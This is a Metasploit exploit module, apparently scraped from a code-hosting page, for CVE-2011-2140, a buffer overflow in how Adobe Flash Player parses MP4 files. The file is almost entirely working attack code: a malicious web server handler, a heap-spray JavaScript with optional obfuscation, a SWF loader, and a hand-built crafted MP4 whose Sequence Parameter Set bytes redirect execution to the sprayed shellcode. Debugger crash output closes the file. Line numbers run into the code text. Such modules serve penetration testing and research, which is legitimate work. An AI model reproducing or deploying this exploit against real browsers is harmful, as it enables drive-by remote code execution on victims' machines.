Path: blob/master/modules/exploits/windows/browser/adobe_flash_sps.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",15'Description' => %q{16This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx17component. When processing a MP4 file (specifically the Sequence Parameter Set),18Flash will see if pic_order_cnt_type is equal to 1, which sets the19num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in20offset_for_ref_frame on the stack, which allows arbitrary remote code execution21under the context of the user. Numerous reports also indicate that this22vulnerability has been exploited in the wild.23},24'License' => MSF_LICENSE,25'Author' => [26'Alexander Gavrun', # RCA27'Unknown', # Abysssec, proof of concept28'sinn3r' # Metasploit29],30'References' => [31[ 'CVE', '2011-2140' ],32[ 'OSVDB', '74439'],33[ 'BID', '49083' ],34[ 'ZDI', '11-276' ],35[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],36[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],37[ 'URL', 'http://web.archive.org/web/20170111122134/http://0x1byte.blogspot.com:80/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ]38],39'Payload' => {40'BadChars' => "\x00",41'StackAdjustment' => -350042},43'DefaultOptions' => {44'EXITFUNC' => "seh",45'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'46},47'Platform' => 'win',48'Targets' => [49[ 'Automatic', {} ],50[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], # 0x5f4 = spot on51[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]52],53'Privileged' => false,54'DisclosureDate' => '2011-08-09',55'DefaultTarget' => 0,56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])67]68)69end7071def get_target(agent)72# If the user is already specified by the user, we'll just use that73return target if target.name != 'Automatic'7475if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/76return targets[1]77elsif agent =~ /MSIE 7/78return targets[2]79else80return nil81end82end8384def on_request_uri(cli, request)85agent = request.headers['User-Agent']86my_target = get_target(agent)8788# Avoid the attack if the victim doesn't have the same setup we're targeting89if my_target.nil?90print_error("Browser not supported: #{agent.to_s}")91send_not_found(cli)92return93end9495# The SWF requests our MP4 trigger96if request.uri =~ /\.mp4$/97print_status("Sending MP4")98send_response(cli, @mp4, { 'Content-Type' => 'video/mp4' })99return100end101102# The SWF request itself103if request.uri =~ /\.swf$/104print_status("Sending SWF")105send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })106return107end108109# Redirect to a trailing slash so relative paths work properly110if get_resource != "/" and not request.uri.index("#{get_resource}/")111uri = get_resource + "/"112send_redirect(cli, uri)113return114end115116# Set payload depending on target117p = payload.encoded118119js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))120js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch))121randnop = rand_text_alpha(rand(100) + 1)122123js = <<-JS124var heap_obj = new heapLib.ie(0x20000);125var code = unescape("#{js_code}");126var #{randnop} = "#{js_nops}";127var nops = unescape(#{randnop});128129while (nops.length < 0x80000) nops += nops;130var offset = nops.substring(0, #{my_target['Offset']});131var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);132133while (shellcode.length < 0x40000) shellcode += shellcode;134var block = shellcode.substring(0, (0x7ffc0-6)/2);135136heap_obj.gc();137138for (var i=1; i < 0x300; i++) {139heap_obj.alloc(block);140}141JS142143js = heaplib(js, { :noobfu => true })144145if datastore['OBFUSCATE']146js = ::Rex::Exploitation::JSObfu.new(js)147js.obfuscate(memory_sensitive: true)148end149150myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']151mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6) + 3)}.mp4"152swf_uri = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"153154html = %Q|155<html>156<head>157<script>158#{js}159</script>160</head>161<body>162<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">163<param name="movie" value="#{swf_uri}">164</object>165</body>166</html>167|168169html = html.gsub(/^ {4}/, '')170171print_status("Sending HTML")172send_response(cli, html, { 'Content-Type' => 'text/html' })173end174175def exploit176@mp4 = create_mp4177@swf = create_swf178super179end180181def create_swf182path = ::File.join(Msf::Config.data_directory, "exploits", "mp4player.swf")183fd = ::File.open(path, "rb")184swf = fd.read(fd.stat.size)185fd.close186return swf187end188189def create_mp4190ftypAtom = "\x00\x00\x00\x20" # Size191ftypAtom << "ftypisom"192ftypAtom << "\x00\x00\x02\x00"193ftypAtom << "isomiso2avc1mp41"194195mdatAtom = "\x00\x00\x00\x10" # Size196mdatAtom << "mdat"197mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"198199moovAtom1 = "\x00\x00\x08\x83" # Size200moovAtom1 << "moov" # Move header box header201moovAtom1 << "\x00\x00\x00"202moovAtom1 << "lmvhd" # Type203moovAtom1 << "\x00\x00\x00\x00" # Version/Flags204moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time205moovAtom1 << "\x00\x00\x03\xE8" # Time scale206moovAtom1 << "\x00\x00\x2F\x80" # Duration207moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"208moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"209moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"210moovAtom1 << "trak" # Track box header211moovAtom1 << "\x00\x00\x00\x5C"212moovAtom1 << "tkhd"213moovAtom1 << "\x00\x00\x00\x0F"214moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time215moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"216moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"217moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"218moovAtom1 << "rmdia"219moovAtom1 << "\x00\x00\x00\x20" # Size220moovAtom1 << "mdhd" # Media header box221moovAtom1 << "\x00\x00\x00\x00" # Version/Flags222moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time223moovAtom1 << "\x00\x00\x00\x01" # Time scale224moovAtom1 << "\x00\x00\x00\x0C" # Duration225moovAtom1 << "\x55\xC4\x00\x00"226moovAtom1 << "\x00\x00\x00\x2D" # Size227moovAtom1 << "hdlr" # Handler Reference header228moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"229moovAtom1 << "vide" # Handler type230moovAtom1 << "\x00\x00\x00\x00\x00"231moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"232moovAtom1 << "VideoHandler" # Handler name233moovAtom1 << "\x00\x00\x00\x02\x1D"234moovAtom1 << "minf"235moovAtom1 << "\x00\x00\x00\x14"236moovAtom1 << "vmhd"237moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"238moovAtom1 << "dinf" # Data information box header239moovAtom1 << "\x00\x00\x00\x1c"240moovAtom1 << "dref" # Data reference box241moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"242moovAtom1 << "\x00\x00\x00\x0C" # Size243moovAtom1 << "url " # Data entry URL box244moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags245moovAtom1 << "\x00\x00\x09\xDD" # Size246moovAtom1 << "stbl"247moovAtom1 << "\x00\x00\x08\x99"248moovAtom1 << "stsd"249moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"250moovAtom1 << "\x00\x00\x08\x89" # Size251moovAtom1 << "avc1"252moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"253moovAtom1 << "\x01\x42" # Width254moovAtom1 << "\x01\x42" # Height255moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"256moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"257moovAtom1 << "\x18" # Depth258moovAtom1 << "\xFF\xFF"259moovAtom1 << "\x00\x00\x08\x33" # Size260moovAtom1 << "avcC"261moovAtom1 << "\x01" # Config version262moovAtom1 << "\x64" # Avc profile indication263moovAtom1 << "\x00" # Compatibility264moovAtom1 << "\x15" # Avc level indication265moovAtom1 << "\xFF\xE1"266267# Although the fields have different values, they all become 0x0c0c0c0c268# in memory.269cycle = "\x00\x00\x00"270cycle << "\x30\x30\x30\x30" # 6th271cycle << "\x00\x00\x00"272cycle << "\x18\x18\x18\x18" # 7th273cycle << "\x00\x00\x00"274cycle << "\x0c\x0c\x0c\x0c" # 8th275cycle << "\x00\x00\x00"276cycle << "\x06\x06\x06\x06" # 1st277cycle << "\x00\x00\x00"278cycle << "\x03\x03\x03\x03"279cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"280cycle << "\xc0\xc0\xc0\xc0" # 4th281cycle << "\x00\x00\x00"282cycle << "\x60\x60\x60\x60"283284spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"285spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"286spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"287spsunit << cycle * 35288spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"289290moovAtom2 = "\x00\x00\x00\x18"291moovAtom2 << "stts"292moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"293moovAtom2 << "\x00\x00\x00\x14"294moovAtom2 << "stss"295moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"296moovAtom2 << "pctts"297moovAtom2 << "\x00\x00\x00\x00\x00\x00"298moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"299moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"300moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"301moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"302moovAtom2 << "\x00\x00\x00\x1C"303moovAtom2 << "stsc"304moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"305moovAtom2 << "\x00\x00\x00\x44"306moovAtom2 << "stsz"307moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"308moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"309moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"310moovAtom2 << "\x00\x00\x00\x40"311moovAtom2 << "stco"312moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"313moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"314315moovAtom = moovAtom1 + spsunit + moovAtom2316m = ftypAtom + mdatAtom + moovAtom317return m318end319end320321=begin322C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx323324Flash10u+0x5b4e8:325Missing image name, possible paged-out or corrupt data.3261f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d3270:008> !exchain328020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)329330ECX points to 0x0c0c0c0c at the time of the crash:3310:008> r332eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000333eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc334cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246335<Unloaded_ud.drv>+0xc0c0c0b:3360c0c0c0c ?? ???337338Example of SWF player URI:339http://www.jeroenwijering.com/embed/mediaplayer.swf340341To-do:342IE 8 target343=end344345346